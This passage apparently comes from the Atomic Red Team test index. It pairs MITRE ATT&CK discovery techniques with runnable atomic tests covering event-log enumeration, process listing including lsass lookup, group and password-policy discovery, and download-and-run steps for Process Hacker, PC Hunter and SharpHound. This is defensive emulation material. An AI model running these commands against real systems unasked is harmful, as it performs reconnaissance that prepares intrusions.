      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1654
        external_id: T1654
      - source_name: SIM Swapping and Abuse of the Microsoft Azure Serial Console
        description: 'Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse
          of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced
          Attack. Retrieved June 2, 2023.'
        url: https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial
      - source_name: Cadet Blizzard emerges as novel threat actor
        description: Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard
          emerges as a novel and distinct Russian threat actor. Retrieved July 10,
          2023.
        url: https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/
      - source_name: WithSecure Lazarus-NoPineapple Threat Intel Report 2023
        description: Ruohonen, S. & Robinson, S. (2023, February 2). No Pineapple!
          -DPRK Targeting of Medical Research and Technology Sector. Retrieved July
          10, 2023.
        url: https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1654
    atomic_tests:
    - name: Get-EventLog To Enumerate Windows Security Log
      auto_generated_guid: a9030b20-dd4b-4405-875e-3462c6078fdc
      description: "Uses the built-in PowerShell commandlet Get-EventLog to search
        for 'SYSTEM' keyword and saves results to a text file.\n\nThis technique was
        observed in a [TheDFIRReport case](https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/)
        \nwhere the threat actor enumerated the Windows Security audit log to determine
        user accounts and associated IPv4 addresses.\n\nSuccessful execution will
        save matching log events to the users temp folder."
      supported_platforms:
      - windows
      executor:
        command: powershell -c {get-eventlog 'Security' | where {$_.Message -like
          '*SYSTEM*'} | export-csv $env:temp\T1654_events.txt}
        cleanup_command: powershell -c "remove-item $env:temp\T1654_events.txt -ErrorAction
          Ignore"
        name: powershell
        elevation_required: true
    - name: Enumerate Windows Security Log via WevtUtil
      auto_generated_guid: fef0ace1-3550-4bf1-a075-9fea55a778dd
      description: "WevtUtil is a command line tool that can be utilised by adversaries
        to gather intelligence on a targeted Windows system's logging infrastructure.
        \n\nBy executing this command, malicious actors can enumerate all available
        event logs, including both default logs such as Application, Security, and
        System\nas well as any custom logs created by administrators. \n\nThis information
        provides valuable insight into the system's logging mechanisms, potentially
        allowing attackers to identify gaps or weaknesses in the logging configuration"
      supported_platforms:
      - windows
      executor:
        command: wevtutil enum-logs
        name: command_prompt
  T1087.004:
    technique:
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Praetorian
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe
      type: attack-pattern
      created: '2020-02-21T21:08:36.570Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1087.004
        url: https://attack.mitre.org/techniques/T1087/004
      - description: Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.
        url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0
        source_name: Microsoft msolrolemember
      - description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
          6, 2019.
        url: https://github.com/True-Demon/raindance
        source_name: GitHub Raindance
      - description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
        source_name: Microsoft AZ CLI
      - description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
          Directory Leaks via Azure. Retrieved October 6, 2019.
        url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
        source_name: Black Hills Red Teaming MS AD Azure, 2018
      - source_name: AWS List Roles
        description: Amazon. (n.d.). List Roles. Retrieved August 11, 2020.
        url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html
      - source_name: AWS List Users
        url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html
        description: Amazon. (n.d.). List Users. Retrieved August 11, 2020.
      - source_name: Google Cloud - IAM Servie Accounts List API
        url: https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list
        description: Google. (2020, June 23). gcloud iam service-accounts list. Retrieved
          August 4, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Cloud Account
      description: "Adversaries may attempt to get a listing of cloud accounts. Cloud
        accounts are those created and configured by an organization for use by users,
        remote support, services, or for administration of resources within a cloud
        service provider or SaaS application.\n\nWith authenticated access there are
        several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code>
        PowerShell cmdlet can be used to obtain account names given a role or permissions
        group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub
        Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user
        accounts with authenticated access to a domain. The command <code>az ad user
        list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation:
        Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command <code>aws iam
        list-users</code> may be used to obtain a list of users in the current account
        while <code>aws iam list-roles</code> can obtain IAM roles that have a specified
        path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud
        iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code>
        may be used to obtain a listing of service accounts and users in a project.(Citation:
        Google Cloud - IAM Servie Accounts List API)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: |-
        Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.

        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1057:
    technique:
      modified: '2024-04-16T12:43:55.369Z'
      name: Process Discovery
      description: "Adversaries may attempt to get information about running processes
        on a system. Information obtained could be used to gain an understanding of
        common software/applications running on systems within the network. Administrator
        or otherwise elevated access may provide better process details. Adversaries
        may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057)
        during automated discovery to shape follow-on behaviors, including whether
        or not the adversary fully infects the target and/or attempts specific actions.\n\nIn
        Windows environments, adversaries could obtain details on running processes
        using the [Tasklist](https://attack.mitre.org/software/S0057) utility via
        [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code>
        via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information
        about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106)
        calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this
        is accomplished with the <code>ps</code> command. Adversaries may also opt
        to enumerate processes via `/proc`. \n\nOn network devices, [Network Device
        CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show
        processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation:
        show_processes_cisco_cmd)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        For network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580
      created: '2017-05-31T21:30:48.728Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1057
        external_id: T1057
      - source_name: show_processes_cisco_cmd
        description: Cisco. (2022, August 16). show processes - . Retrieved July 13,
          2022.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1057
    atomic_tests:
    - name: Process Discovery - ps
      auto_generated_guid: 4ff64f0b-aaf2-4866-b39d-38d9791407cc
      description: |
        Utilize ps to identify processes.

        Upon successful execution, sh will execute ps and output to /tmp/loot.txt.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: path of output file
          type: path
          default: "/tmp/loot.txt"
      executor:
        command: |
          ps >> #{output_file}
          ps aux >> #{output_file}
        cleanup_command: 'rm #{output_file}

          '
        name: sh
    - name: Process Discovery - tasklist
      auto_generated_guid: c5806a4f-62b8-4900-980b-c7ec004e9908
      description: "Utilize tasklist to identify processes.\n\nUpon successful execution,
        cmd.exe will execute tasklist.exe to list processes. Output will be via stdout.
        \n"
      supported_platforms:
      - windows
      executor:
        command: 'tasklist

          '
        name: command_prompt
    - name: Process Discovery - Get-Process
      auto_generated_guid: 3b3809b6-a54b-4f5b-8aff-cb51f2e97b34
      description: "Utilize Get-Process PowerShell cmdlet to identify processes.\n\nUpon
        successful execution, powershell.exe will execute Get-Process to list processes.
        Output will be via stdout. \n"
      supported_platforms:
      - windows
      executor:
        command: 'Get-Process

          '
        name: powershell
    - name: Process Discovery - get-wmiObject
      auto_generated_guid: b51239b4-0129-474f-a2b4-70f855b9f2c2
      description: "Utilize get-wmiObject PowerShell cmdlet to identify processes.\n\nUpon
        successful execution, powershell.exe will execute get-wmiObject to list processes.
        Output will be via stdout. \n"
      supported_platforms:
      - windows
      executor:
        command: 'get-wmiObject -class Win32_Process

          '
        name: powershell
    - name: Process Discovery - wmic process
      auto_generated_guid: 640cbf6d-659b-498b-ba53-f6dd1a1cc02c
      description: "Utilize windows management instrumentation to identify processes.\n\nUpon
        successful execution, WMIC will execute process to list processes. Output
        will be via stdout. \n"
      supported_platforms:
      - windows
      executor:
        command: 'wmic process get /format:list

          '
        name: command_prompt
    - name: Discover Specific Process - tasklist
      auto_generated_guid: 11ba69ee-902e-4a0f-b3b6-418aed7d7ddb
      description: "Adversaries may use command line tools to discover specific processes
        in preparation of further attacks. \nExamples of this could be discovering
        the PID of lsass.exe to dump its memory or discovering whether specific security
        processes (e.g. AV or EDR) are running.\n"
      supported_platforms:
      - windows
      input_arguments:
        process_to_enumerate:
          description: Process name string to search for.
          type: string
          default: lsass
      executor:
        command: 'tasklist | findstr #{process_to_enumerate}

          '
        name: command_prompt
    - name: Process Discovery - Process Hacker
      auto_generated_guid: 966f4c16-1925-4d9b-8ce0-01334ee0867d
      description: Process Hacker can be exploited to infiltrate system processes,
        identify weak points, or achieve unauthorized control over systems. However,
        its malicious use can often be flagged by security defenses, rendering it
        a perilous tool for illegitimate purposes.
      supported_platforms:
      - windows
      input_arguments:
        processhacker_exe:
          description: Process hacker installation executables.
          type: string
          default: ProcessHacker.exe
      dependency_executor_name: powershell
      dependencies:
      - description: Process Hacker must be installed in the location
        prereq_command: 'if (Test-Path "c:\Program Files\Process Hacker 2\#{processhacker_exe}")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          Write-Host Downloading Process Hacker
          New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://versaweb.dl.sourceforge.net/project/processhacker/processhacker2/processhacker-2.39-setup.exe" -OutFile "C:\Temp\ExternalPayloads\processhacker-2.39-setup.exe"
          Write-Host Installing Process Hacker
          Start-Process "c:\Temp\ExternalPayloads\processhacker-2.39-setup.exe" -Wait -ArgumentList "/s"
      executor:
        command: Start-Process -FilePath "$Env:ProgramFiles\Process Hacker 2\#{processhacker_exe}"
        name: powershell
        elevation_required: true
    - name: Process Discovery - PC Hunter
      auto_generated_guid: b4ca838d-d013-4461-bf2c-f7132617b409
      description: PC Hunter is a toolkit with access to hundreds of settings including
        kernels, kernel modules, processes, network, startup, and more. When abused,
        this tool can allow threat actors to effectively access sensitive processes,
        collect system information, and terminate security software.
      supported_platforms:
      - windows
      input_arguments:
        pchunter64_exe:
          description: Process hacker installation executables.
          type: string
          default: PChunter64.exe
      dependency_executor_name: powershell
      dependencies:
      - description: PCHunter must be present in device
        prereq_command: 'if (Get-ChildItem -Path C:\ -Include *PCHunter64* -File -Recurse
          -ErrorAction SilentlyContinue) {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          Write-Host Downloading PC Hunter
          New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://www.snapfiles.com/directdl/PCHunter_free.zip" -OutFile "C:\Temp\ExternalPayloads\PCHunter_free.zip"
          Expand-Archive -LiteralPath 'C:\Temp\ExternalPayloads\PCHunter_free.zip' -DestinationPath C:\Temp\ExternalPayloads
          Write-Host Unzipping Installing Process Hunter
      executor:
        command: Start-Process -FilePath "C:\Temp\ExternalPayloads\PCHunter_free\#{pchunter64_exe}"
        name: powershell
        elevation_required: true
  T1497.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Deloitte Threat Library Team
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938
      type: attack-pattern
      created: '2020-03-06T21:04:12.454Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1497.002
        url: https://attack.mitre.org/techniques/T1497/002
      - source_name: Deloitte Environment Awareness
        url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
          May 18, 2021.
      - source_name: Sans Virtual Jan 2016
        url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
        description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox
          Evasion Techniques. Retrieved April 17, 2019.
      - source_name: Unit 42 Sofacy Nov 2018
        url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
        description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global
          Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.
      - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
          LNK. Retrieved April 24, 2017.
        source_name: FireEye FIN7 April 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: User Activity Based Checks
      description: "Adversaries may employ various user activity checks to detect
        and avoid virtualization and analysis environments. This may include changing
        behaviors based on the results of checks for the presence of artifacts indicative
        of a virtual machine environment (VME) or sandbox. If the adversary detects
        a VME, they may alter their malware to disengage from the victim or conceal
        the core functions of the implant. They may also search for VME artifacts
        before dropping secondary or additional payloads. Adversaries may use the
        information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        during automated discovery to shape follow-on behaviors.(Citation: Deloitte
        Environment Awareness)\n\nAdversaries may search for user activity on the
        host based on variables such as the speed/frequency of mouse movements and
        clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks,
        or number of files in common directories such as home or the desktop. Other
        methods may rely on specific user interaction with the system before the malicious
        code is activated, such as waiting for a document to close before activating
        a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double
        click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: 'User activity-based checks will likely occur in the first
        steps of an operation but may also occur throughout as an adversary learns
        the environment. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as lateral
        movement, based on the information obtained. Detecting actions related to
        virtualization and sandbox identification may be difficult depending on the
        adversary''s implementation and monitoring required. Monitoring for suspicious
        processes being spawned that gather a variety of system information or perform
        other forms of Discovery, especially in a short period of time, may aid in
        detection. '
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Static File Analysis
      - Signature-based detection
      - Host forensic analysis
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1069.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Permission Groups Discovery: Local Groups'
      description: |-
        Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

        Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Harshal Tupsamudre, Qualys
      - Miriam Wiesner, @miriamxyra, Microsoft Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Group: Group Enumeration'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b
      created: '2020-03-12T19:29:21.013Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1069/001
        external_id: T1069.001
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1069.001
    atomic_tests:
    - name: Permission Groups Discovery (Local)
      auto_generated_guid: 952931a4-af0b-4335-bbbe-73c8c5b327ae
      description: 'Permission Groups Discovery

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          if [ -x "$(command -v dscacheutil)" ]; then dscacheutil -q group; else echo "dscacheutil is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v dscl)" ]; then dscl . -list /Groups; else echo "dscl is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v groups)" ]; then groups; else echo "groups is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v id)" ]; then id; else echo "id is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v getent)" ]; then getent group; else echo "getent is missing from the machine. skipping..."; fi;
          cat /etc/group
        name: sh
    - name: Basic Permission Groups Discovery Windows (Local)
      auto_generated_guid: 1f454dd6-e134-44df-bebb-67de70fb6cd8
      description: |
        Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
        information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          net localgroup
          net localgroup "Administrators"
        name: command_prompt
    - name: Permission Groups Discovery PowerShell (Local)
      auto_generated_guid: a580462d-2c19-4bc7-8b9a-57a41b7d3ba4
      description: |
        Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
        information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          get-localgroup
          Get-LocalGroupMember -Name "Administrators"
        name: powershell
    - name: SharpHound3 - LocalAdmin
      auto_generated_guid: e03ada14-0980-4107-aff1-7783b2b59bb1
      description: 'This module runs the Windows executable of SharpHound in order
        to remotely list members of the local Administrators group (SAMR)

        '
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: FQDN of the targeted domain
          type: string
          default: "$env:UserDnsDomain"
        sharphound_path:
          description: SharpHound Windows executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\SharpHound.exe
        output_path:
          description: Output for SharpHound
          type: path
          default: "$env:TEMP\\SharpHound\\"
      dependency_executor_name: powershell
      dependencies:
      - description: |
          SharpHound binary must exist on disk and at specified location (#{sharphound_path}).
          And the computer must be domain joined (implicit authentication).
        prereq_command: 'if (Test-Path "#{sharphound_path}") { exit 0 } else { exit
          1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/BloodHoundAD/BloodHound/blob/e062fe73d73c015dccb37fae5089342d009b84b8/Collectors/SharpHound.exe?raw=true" -OutFile "#{sharphound_path}"
      executor:
        name: powershell
        elevation_required: false
        command: |
          New-Item -Path "#{output_path}" -ItemType Directory > $null
          & "#{sharphound_path}" -d "#{domain}" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory "#{output_path}"
        cleanup_command: 'Remove-Item -Recurse #{output_path} -ErrorAction Ignore

          '
    - name: Wmic Group Discovery
      auto_generated_guid: 7413be50-be8e-430f-ad4d-07bf197884b2
      description: 'Utilizing wmic.exe to enumerate groups on the local system. Upon
        execution, information will be displayed of local groups on system.

        '
      supported_platforms:
      - windows
      executor:
        command: 'wmic group get name

          '
        name: command_prompt
    - name: WMIObject Group Discovery
      auto_generated_guid: 69119e58-96db-4110-ad27-954e48f3bb13
      description: 'Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local
        groups on the endpoint. Upon execution, Upon execution, information will be
        displayed of local groups on system.

        '
      supported_platforms:
      - windows
      executor:
        command: 'Get-WMIObject Win32_Group

          '
        name: powershell
    - name: Permission Groups Discovery for Containers- Local Groups
      auto_generated_guid: 007d7aa4-8c4d-4f55-ba6a-7c965d51219c
      description: Attackers may try to obtain a list of services that are operating
        on remote hosts and local network infrastructure devices, in order to identify
        potential vulnerabilities that can be exploited through remote software attacks.
        They typically use tools to conduct port and vulnerability scans in order
        to obtain this information.
      supported_platforms:
      - containers
      dependency_executor_name: sh
      dependencies:
      - description: Verify docker is installed.
        prereq_command: 'which docker

          '
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

          '
      - description: Verify docker service is running.
        prereq_command: 'sudo systemctl status docker  --no-pager

          '
        get_prereq_command: 'sudo systemctl start docker

          '
      executor:
        command: |-
          docker build -t t1069 $PathtoAtomicsFolder/T1069.001/src/
          docker run --name t1069_container  -d -t t1069
          docker exec t1069_container ./test.sh
        cleanup_command: |-
          docker stop t1069_container
          docker rmi -f t1069
        name: sh
  T1201:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Password Policy Discovery
      description: |-
        Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

        Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)

        Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: Monitor logs and processes for tools and command line arguments
        that may indicate they're being used for password policy discovery. Correlate
        that activity with other suspicious activity from the originating system to
        reduce potential false positives from valid user or administrator activity.
        Adversaries will likely attempt to find the password policy early in an operation
        and the activity is likely to happen with other Discovery activity.
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - IaaS
      - Network
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.5'
      x_mitre_contributors:
      - Regina Elwell
      - Sudhanshu Chauhan, @Sudhanshu_C
      - Isif Ibrahima, Mandiant
      - Austin Clark, @c2defense
      x_mitre_data_sources:
      - 'User Account: User Account Metadata'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1201
        external_id: T1201
      - source_name: AWS GetPasswordPolicy
        description: Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy.
          Retrieved June 8, 2021.
        url: https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html
      - source_name: Jamf User Password Policies
        description: Holland, J. (2016, January 25). User password policies on non
          AD machines. Retrieved April 5, 2018.
        url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines
      - source_name: Superuser Linux Password Policies
        description: Matutiae, M. (2014, August 6). How to display password policy
          information for a user (Ubuntu)?. Retrieved April 5, 2018.
        url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1201
    atomic_tests:
    - name: Examine password complexity policy - Ubuntu
      auto_generated_guid: '085fe567-ac84-47c7-ac4c-2688ce28265b'
      description: 'Lists the password complexity policy to console on Ubuntu Linux.

        '
      supported_platforms:
      - linux
      executor:
        command: 'cat /etc/pam.d/common-password

          '
        name: bash
    - name: Examine password complexity policy - FreeBSD
      auto_generated_guid: a7893624-a3d7-4aed-9676-80498f31820f
      description: 'Lists the password complexity policy to console on FreeBSD.

        '
      supported_platforms:
      - linux
      executor:
        command: 'cat /etc/pam.d/passwd

          '
        name: sh
    - name: Examine password complexity policy - CentOS/RHEL 7.x
      auto_generated_guid: 78a12e65-efff-4617-bc01-88f17d71315d
      description: 'Lists the password complexity policy to console on CentOS/RHEL
        7.x Linux.

        '
      supported_platforms:
      - linux
      dependencies:
      - description: 'System must be CentOS or RHEL v7

          '
        prereq_command: 'if [ $(uname -a | grep -ioP ''el[0-9]'' | grep -oP ''[0-9]'')
          -eq "7" ]; then exit 0; else exit 1; fi;

          '
